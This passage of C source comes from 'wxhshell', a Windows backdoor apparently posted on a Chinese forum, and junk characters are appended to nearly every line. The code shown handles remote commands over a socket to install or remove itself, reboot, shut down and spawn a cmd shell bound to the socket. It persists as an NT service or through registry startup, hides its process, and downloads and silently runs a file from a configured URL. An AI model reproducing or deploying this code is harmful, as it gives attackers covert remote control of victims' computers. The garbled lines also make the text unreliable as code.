  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '?wv::t  
  } <b{Le{QJ*  
  else {  }m\  
kG@1jMPtQ  
    switch(cmd[0]) { !@%m3)T8  
  ATPc ~f  
  // 帮助 b6R0za  
  case '?': { ]ZHC*r2i  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); x]Nq|XK  
    break; A!W(>  
  } SN\;&(?G  
  // 安装 =DcKHL(m  
  case 'i': { yrE|cH'f0  
    if(Install()) gy_n=jhi+  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 52{jq18&  
    else /$/\$f$  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); xa5I{<<U  
    break; D.)R8X  
    } ,hYUxh45  
  // 卸载 ^A;v|U  
  case 'r': { +8mfq\ Y1  
    if(Uninstall()) )u(`s`zd  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .lOEQLt  
    else 11%^K=dq  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); $ [M8G   
    break; gMFTZQsP  
    } mVP@c&1w?  
  // 显示 wxhshell 所在路径 V: 2|l!l*  
  case 'p': { ;UArDwH  
    char svExeFile[MAX_PATH]; OAc+LdT  
    strcpy(svExeFile,"\n\r"); "&77`R  
      strcat(svExeFile,ExeFile); US@ak4Y6Z  
        send(wsh,svExeFile,strlen(svExeFile),0); $l0^2o=  
    break; <+ >y GPp  
    } k%VV(P]sT  
  // 重启 ]geO%m  
  case 'b': { =cX &H  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Q<wrO  
    if(Boot(REBOOT)) =uMoX -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); L&.9.Ll  
    else { E{(7]Wri  
    closesocket(wsh); pN1W|Wv2  
    ExitThread(0); <Mxy&9}ic  
    } `:R8~>p  
    break;  gX.4I;  
    } }Q/xBC)  
  // 关机 1`X{$mxw  
  case 'd': { xpRQ"6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); gM^ Hs7o,  
    if(Boot(SHUTDOWN)) Aum&U){yY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Kw"7M~  
    else { o3qBRT0[R  
    closesocket(wsh); -jFvDf,M,D  
    ExitThread(0); }9:d(B9;  
    } G# .z((Rj  
    break; cQA;Y!Q #  
    } k`'^e/  
  // 获取shell D)K/zh)  
  case 's': { '\[GquK;P  
    CmdShell(wsh); `G@]\)-!  
    closesocket(wsh); O{%yO=`r  
    ExitThread(0); 4$@5PS#,  
    break; 118A6qyi  
  } [?.k8;k  
  // 退出  r@/+  
  case 'x': { |z-A;uL<  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); _@ev(B  
    CloseIt(wsh); n B`pfg  
    break; n]r7} 2hM  
    } PL%U  
  // 离开 FI Io{ru  
  case 'q': { p*8=($j4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ?2E@)7  
    closesocket(wsh); XSpX6fq  
    WSACleanup(); N0vr>e`  
    exit(1); K*d+pImrV  
    break; Vyf r>pgW1  
        } Pz:,q~  
  } LW{7|g  
  } 9V9K3xWn  
_RST[B.u6  
  // 提示信息 oDrfzm|[Y  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); !w(J]<  
} gC> A *~J;  
  } [K9l>O  
p>Qzz`@e  
  return; -V%"i,t  
} )4bBR@QM  
s%1O}X$c  
// shell模块句柄 qm{(.b^  
int CmdShell(SOCKET sock) 4703\ HK  
{ v8 I&~_b  
STARTUPINFO si; z)#I"$!d  
ZeroMemory(&si,sizeof(si)); XBh0=E?qiS  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; h'|{@X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 2ed$5.D  
PROCESS_INFORMATION ProcessInfo; kD8$ir'UYG  
char cmdline[]="cmd"; ^yb3L1y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Rr{mD#+  
  return 0; 5N@k9x  
} ;xS@-</:  
P\pHos  
// 自身启动模式 1~zzQ:jAZ  
int StartFromService(void) K7 -AVMY  
{ 64fa0j~<*M  
typedef struct 6c$ so  
{ O&RW[ml*3  
  DWORD ExitStatus; *:{s|18Pj  
  DWORD PebBaseAddress; +vIpt{733  
  DWORD AffinityMask; anxg D?<+B  
  DWORD BasePriority; I} q2)@  
  ULONG UniqueProcessId; V|13%aE_v  
  ULONG InheritedFromUniqueProcessId; iP]KV.e'/C  
}   PROCESS_BASIC_INFORMATION; - 0R5g3^*/  
;6KcX\g-  
PROCNTQSIP NtQueryInformationProcess; "v@Y[QI  
lm i,P-Q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ;  z"Miy  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ~:'tp28?  
1hp`.!3]H  
  HANDLE             hProcess; ;wK;  
  PROCESS_BASIC_INFORMATION pbi; >E;kM B  
Ye% e!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ePv3M&\J  
  if(NULL == hInst ) return 0; O2g9<H   
L-? ?%_=  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bA!n;  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); v[{g "C  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }E0~'  
 :tBIo7  
  if (!NtQueryInformationProcess) return 0; !}[}YY?',i  
rofj&{w  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `u$  Rd  
  if(!hProcess) return 0; H=RzY-\a%  
X'Q?Mh  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ]Wr2 IM  
Z}#'.y\ f  
  CloseHandle(hProcess); %A64AJZ  
KSDz3qe  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); b+Sq[  
if(hProcess==NULL) return 0; VwvL  
`?f6~$1  
HMODULE hMod; +O"!*  
char procName[255]; Zgy~Y0Di  
unsigned long cbNeeded; 10R#} ~D  
.);~H#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); >9dzl#  
17P5Dr&  
  CloseHandle(hProcess); ~tx|C3A`d  
E)sC:oO  
if(strstr(procName,"services")) return 1; // 以服务启动 J=7.-R|t  
u_H=Xm)9  
  return 0; // 注册表启动 Z*/{^ zsE  
} !l NCuR/T  
-w'  
// 主模块 *U>"_h T0  
int StartWxhshell(LPSTR lpCmdLine) @n2Dt d  
{ fE`p  
  SOCKET wsl; niC ; WK  
BOOL val=TRUE; C2}n &{T  
  int port=0; V6Z~#=EQ  
  struct sockaddr_in door; ~&HP }Q$#f  
^/]w}C#:d  
  if(wscfg.ws_autoins) Install(); M^IEu }  
}uP`=T!"8  
port=atoi(lpCmdLine); " GRR,7A  
& pHSX  
if(port<=0) port=wscfg.ws_port; bUvVt3cm  
Z5/*i un  
  WSADATA data; rebnV&-  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; e~oh%l^C72  
*.%z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +@], JlYf  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); eJbZA&:  
  door.sin_family = AF_INET; ) XCG4-1  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); E? lK(C  
  door.sin_port = htons(port); {g9*t}l4  
1.24ZX  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Y"H'BT!b}  
closesocket(wsl); zUuOX5-6x  
return 1; gGZ-B<  
} 5 EhOvt8  
3JYhF)G  
  if(listen(wsl,2) == INVALID_SOCKET) { 6-E>-9]'E  
closesocket(wsl); VAW:h5j2@  
return 1; r&%TKm^/  
} f$>KTb({B  
  Wxhshell(wsl); O06 2c)vIY  
  WSACleanup(); /U$5'BoS  
,3XlX(P  
return 0; *^y,Gg/  
68*a'0  
} gn//]|#H+  
=[JstiT?E  
// 以NT服务方式启动 lXpbAW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) uB=DC'lkg  
{ b~$8<\  
DWORD   status = 0; |j}D2q=  
  DWORD   specificError = 0xfffffff; b:WA}x V  
k3(q!~a:.}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; QmgO00{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; h"0)g :\  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; .;\uh$c  
  serviceStatus.dwWin32ExitCode     = 0; B4@1WZn<8  
  serviceStatus.dwServiceSpecificExitCode = 0; e&@;hDmIX  
  serviceStatus.dwCheckPoint       = 0; X9 N4  
  serviceStatus.dwWaitHint       = 0; knfEbH  
MJ"@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +D+v j|fn  
  if (hServiceStatusHandle==0) return; *82+GY]  
2Tp @;[!3  
status = GetLastError(); zMke}2  
  if (status!=NO_ERROR) FEH+ PKSc  
{ _C@A>]GT  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Qli#=0{`  
    serviceStatus.dwCheckPoint       = 0; uG7?:) pxv  
    serviceStatus.dwWaitHint       = 0; ~6A;H$dr  
    serviceStatus.dwWin32ExitCode     = status; 3AcS$.G  
    serviceStatus.dwServiceSpecificExitCode = specificError; Rp+Lu  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?;]Xc~  
    return; ,(i`gH{D  
  } q2 b>Z6!5  
8vkCmV  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; s"UUo|hM  
  serviceStatus.dwCheckPoint       = 0; ++sbSl)Q  
  serviceStatus.dwWaitHint       = 0; BT)PD9CN(  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); WA6reZ  
} K 0e*K=UM  
|.KB  
// 处理NT服务事件,比如:启动、停止 ).)^\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) CJjT-(a  
{ qTrM*/m:]L  
switch(fdwControl) 8-_atL  
{ .],:pL9d  
case SERVICE_CONTROL_STOP: *Sg6VGP  
  serviceStatus.dwWin32ExitCode = 0; 4|&_i)S-Y  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ::p%R@?  
  serviceStatus.dwCheckPoint   = 0; QE|x[?7e,!  
  serviceStatus.dwWaitHint     = 0; (gRTSd T ?  
  { LC7%Bfn!  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o2D;EUsNX  
  } ,|g&v/WlC%  
  return; x) jc  
case SERVICE_CONTROL_PAUSE: ?8qN8rk^+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; %Rt 5$+dNT  
  break;  :yw8_D3  
case SERVICE_CONTROL_CONTINUE: "!Qi$ ]  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b@S~ =  
  break; D GL=\  
case SERVICE_CONTROL_INTERROGATE: wg+[T;0S  
  break; j #~ S"t  
}; XRmE  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \_(|$Dhq  
} nx(jYXVT  
0.S7uH%"  
// 标准应用程序主函数 C#V_Gb  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }hE!0q~MfM  
{ /PVx  
U2)?[C1q{  
// 获取操作系统版本 5yyc 0UG  
OsIsNt=GetOsVer(); F}.R -j#  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ;}lsD1S:  
Q@"}v_r4  
  // 从命令行安装 )<%CI#s#  
  if(strpbrk(lpCmdLine,"iI")) Install(); ^-L nO%h?  
n&!q9CR`  
  // 下载执行文件 rB-R(2 CCN  
if(wscfg.ws_downexe) { N1}r%!jk/  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) @QMU$]&i]  
  WinExec(wscfg.ws_filenam,SW_HIDE); 8=@f lK  
} NFyV02.  
4k9$' k  
if(!OsIsNt) { p"7]zq]'  
// 如果时win9x,隐藏进程并且设置为注册表启动 O=vD6@QI  
HideProc(); 6i;q=N$'  
StartWxhshell(lpCmdLine); PM i.)%++  
} {Mb2X^@7  
else *~~J1.ja>  
  if(StartFromService()) Dm%Q96*VAq  
  // 以服务方式启动 u+y3( 0  
  StartServiceCtrlDispatcher(DispatchTable); vmv6y*qU  
else 0 . UN  
  // 普通方式启动 baBPf{<  
  StartWxhshell(lpCmdLine); Rh!m1Q(-  
2Lytk OMf  
return 0; <isU D6TC  
}
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只看该作者 1 发表于: 2006-10-10
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